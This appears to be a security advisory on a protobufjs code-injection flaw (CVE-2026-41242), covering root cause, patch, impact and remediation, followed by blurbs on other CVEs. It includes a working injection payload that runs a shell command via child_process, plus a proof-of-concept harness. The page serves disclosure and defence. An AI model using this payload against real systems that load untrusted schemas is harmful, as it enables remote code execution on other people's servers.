Jun 3, 2026·7 min read·76 visits
Unsanitized type names in protobufjs schemas allow attackers to inject and execute arbitrary JavaScript during dynamic code compilation.
CVE-2026-41242 is a critical code injection vulnerability in protobufjs. The library compiles custom serialization functions at runtime using the `Function` constructor. Prior to versions 7.5.5 and 8.0.1, dynamic type names were not sanitized, allowing an attacker to inject arbitrary JavaScript via crafted schema definitions, leading to remote code execution.
CVE-2026-41242 is a critical code injection vulnerability (CWE-94) in the protobufjs library, a popular Node.js implementation of Protocol Buffers. The library provides serialization and deserialization routines by dynamically generating JavaScript code at runtime. This dynamic compilation aims to maximize parsing performance by creating customized, monomorphic execution paths for each defined protobuf schema.
Dynamic code generation in runtime environments often presents a high security risk if string interpolation is performed on unvalidated inputs. In protobufjs, the library dynamically translates .proto and JSON structural definitions into executable JavaScript. The attack surface is exposed in systems that process schemas supplied by untrusted parties, such as dynamically configured API gateways, message queues, and public schema registries.
The vulnerability is classified under CWE-94 (Improper Control of Generation of Code / Code Injection) and carries a CVSS v3.1 score of 9.8. If successfully exploited, the flaw permits unauthenticated remote code execution (RCE) inside the security context of the parent Node.js process. Consequently, securing systems running affected versions of protobufjs requires immediate updates to safe releases or application-level mitigations.
The root cause of CVE-2026-41242 lies in the dynamic performance optimization layer of protobufjs. Specifically, files such as src/decoder.js, src/encoder.js, and src/verifier.js programmatically construct JavaScript code to build encoders and decoders. Instead of parsing messages through an interpretive loop, the library builds a customized JavaScript function string for each type and evaluates it using the Function constructor.
The dynamic compilation process calls the utility function util.codegen(params, name) located in src/util/codegen.js. This function constructs a function wrapper by concatenating the provided function name and parameter list into a string template. The resulting template takes the form function <name>(<params>) { ... }. The library then evaluates this string using the JavaScript Function constructor, which interprets the string as executable code.
The vulnerability manifests because the input name parameter—derived directly from the type.name attribute of the protobuf schema—is not validated or escaped before string concatenation. If a schema contains a type name with unbalanced brackets, syntax terminators, or comment symbols, the string breaks out of the expected function declaration syntax. Consequently, arbitrary JavaScript statements appended to the type name are evaluated directly by the V8 JavaScript engine during compilation or invocation.
To understand the mechanics of the vulnerability, consider the interaction between Type instantiation and code generation. Prior to the patch, the Type constructor in src/type.js accepted the name argument from the parsed schema without performing any structural modification or sanitization.
The following code block highlights the vulnerable implementation in src/type.js compared to the corrected version introduced in commit 535df444ac060243722ac5d672db205e5c531d75:
// VULNERABLE CODE PATH (Pre-7.5.5 / Pre-8.0.1)
function Type(name, options) {
Namespace.call(this, name, options); // The raw name is passed directly to the base Namespace constructor
// ...
}
// PATCHED CODE PATH (Post-7.5.5 / Post-8.0.1)
function Type(name, options) {
// The regex replaces all non-word characters (\\W) with empty strings
// This strips out control characters, spaces, parentheses, brackets, and quotes
name = name.replace(/\\W/g, "");
Namespace.call(this, name, options);
// ...
}By applying the regular expression name.replace(/\\W/g, ""), the library enforces a strict whitelist consisting solely of alphanumeric characters and underscores ([a-zA-Z0-9_]). This sanitization step neutralizes the injection vector. Any attempt to supply brackets, semicolons, comments, or quotes will result in their immediate removal, preventing the syntax breakout required to execute arbitrary code.
However, security practitioners must note that this fix is localized to the Type class. While this successfully addresses the primary attack vector associated with message types, other classes that compile dynamic code (such as Field, Enum, Service, or Method) must be monitored. If those components perform similar code generation without equivalent sanitization, variant vulnerabilities may exist.
Exploiting CVE-2026-41242 requires an attacker to inject a crafted protobuf schema into an application that processes schemas dynamically. The exploit payload relies on standard JavaScript breakout syntax. The attacker supplies a type name containing a valid function definition, followed by payload commands, and terminates the injection with a comment character (//) to discard the rest of the autogenerated template.
A typical exploit payload targets the decode function generation. The attacker defines a schema where the type name is set to:
ExploitType$decode(r, l) { require('child_process').execSync('id'); } //
When protobufjs attempts to compile the decoder for this type, it constructs the following source string:
return function ExploitType$decode(r, l) { require('child_process').execSync('id'); } //$decode(r, l) { ... original code ... }
When the application processes the schema via type.decode(), the engine invokes the dynamically compiled function. The runtime environments of Node.js applications typically grant access to core modules like child_process. By invoking execSync, the payload executes arbitrary system-level commands within the security context of the Node.js application process, bypassing application-level access controls entirely.
/**
* Conceptual exploit verification harness
*/
const protobuf = require('protobufjs');
const maliciousTypeName = "ExploitType$decode(r, l) { console.log('Payload executed'); } //";
const schema = {
nested: {
[maliciousTypeName]: {
fields: { payloadField: { type: "string", id: 1 } }
}
}
};
const root = protobuf.Root.fromJSON(schema);
const targetType = root.lookupType(maliciousTypeName);
targetType.decode(Buffer.from([]));The impact of successful exploitation of CVE-2026-41242 is complete compromise of the hosting environment. Because the injected JavaScript executes with the permissions of the parent Node.js process, an attacker can perform any operation the process is authorized to execute. This includes reading and writing files, accessing environment variables, and establishing outbound network connections.
In cloud-native or containerized environments, the execution of arbitrary system commands allows attackers to access local metadata services, retrieve API tokens, and potentially escalate privileges to the broader container orchestration platform (e.g., Kubernetes). The lack of authentication requirements to trigger the deserialization of a loaded schema contributes to its CVSS v3.1 score of 9.8 (Critical).
Furthermore, the vulnerability does not require complex user interaction. If a service dynamically accepts schemas from users or reads them from a compromised database or message broker queue, the exploit triggers automatically during normal system operation. The potential for lateral movement and remote code execution makes this a high-priority target for remediation.
The primary remediation for CVE-2026-41242 is to upgrade protobufjs to the patched versions. Applications using the 7.x branch must upgrade to version 7.5.5 or later. Applications using the 8.x experimental branch must upgrade to version 8.0.1 or later.
If direct upgrades are not immediately feasible, organizations can implement a runtime monkey patch. This patch intercepts calls to the Type constructor and applies the identical regular expression replacement to sanitize type names before they reach the vulnerable library logic. Additionally, developers should configure Web Application Firewalls (WAF) to inspect incoming schema definitions for characters like brackets, parentheses, and backticks.
As a general security design principle, applications should treat protobuf schemas as untrusted input. Avoid designing APIs that allow clients to upload or define arbitrary .proto schemas or JSON descriptors. If dynamic schemas are necessary, validate them against a strict structural schema and enforce strict character validation on all identifier names before processing them with protobufjs.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
protobufjs protobufjs | < 7.5.5 | 7.5.5 |
protobufjs protobufjs | >= 8.0.0-experimental < 8.0.1 | 8.0.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-94 |
| Attack Vector | Network |
| CVSS v3.1 Score | 9.8 |
| EPSS Score | 0.00026 |
| Exploit Status | PoC |
| CISA KEV Status | Not Listed |
| Impact | Unauthenticated Remote Code Execution |
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
A remote code execution vulnerability exists in Microsoft .NET due to untrusted data deserialization within the PresentationCore component. The flaw stems from implicit auto-conversion flags during clipboard data retrieval operations.
An out-of-bounds write vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio allows unauthenticated remote attackers to execute arbitrary code via crafted pixel-shader bytecode or auto-converted clipboard payloads.
ASP.NET Core contains a thread deadlock vulnerability (CWE-833) that allows an unauthenticated remote attacker to cause a denial of service over the network by exhausting server thread pool resources.
CVE-2026-70035 is a high-severity Remote Code Execution (RCE) vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio caused by improper handling during the deserialization of untrusted data (CWE-502). An unauthenticated attacker can execute arbitrary code within the context of the affected process by delivering a crafted serialized payload.
An elevation of privilege vulnerability exists in ASP.NET Core and Microsoft Visual Studio due to improper synchronization during concurrent thread execution. Authenticated remote attackers with low privileges can exploit a timing window to manipulate shared resources and assume higher-level execution contexts.
A path traversal vulnerability (CWE-22) in Contao CMS allows unauthenticated remote attackers to bypass directory boundary restrictions in ImagesController and access files within the project directory.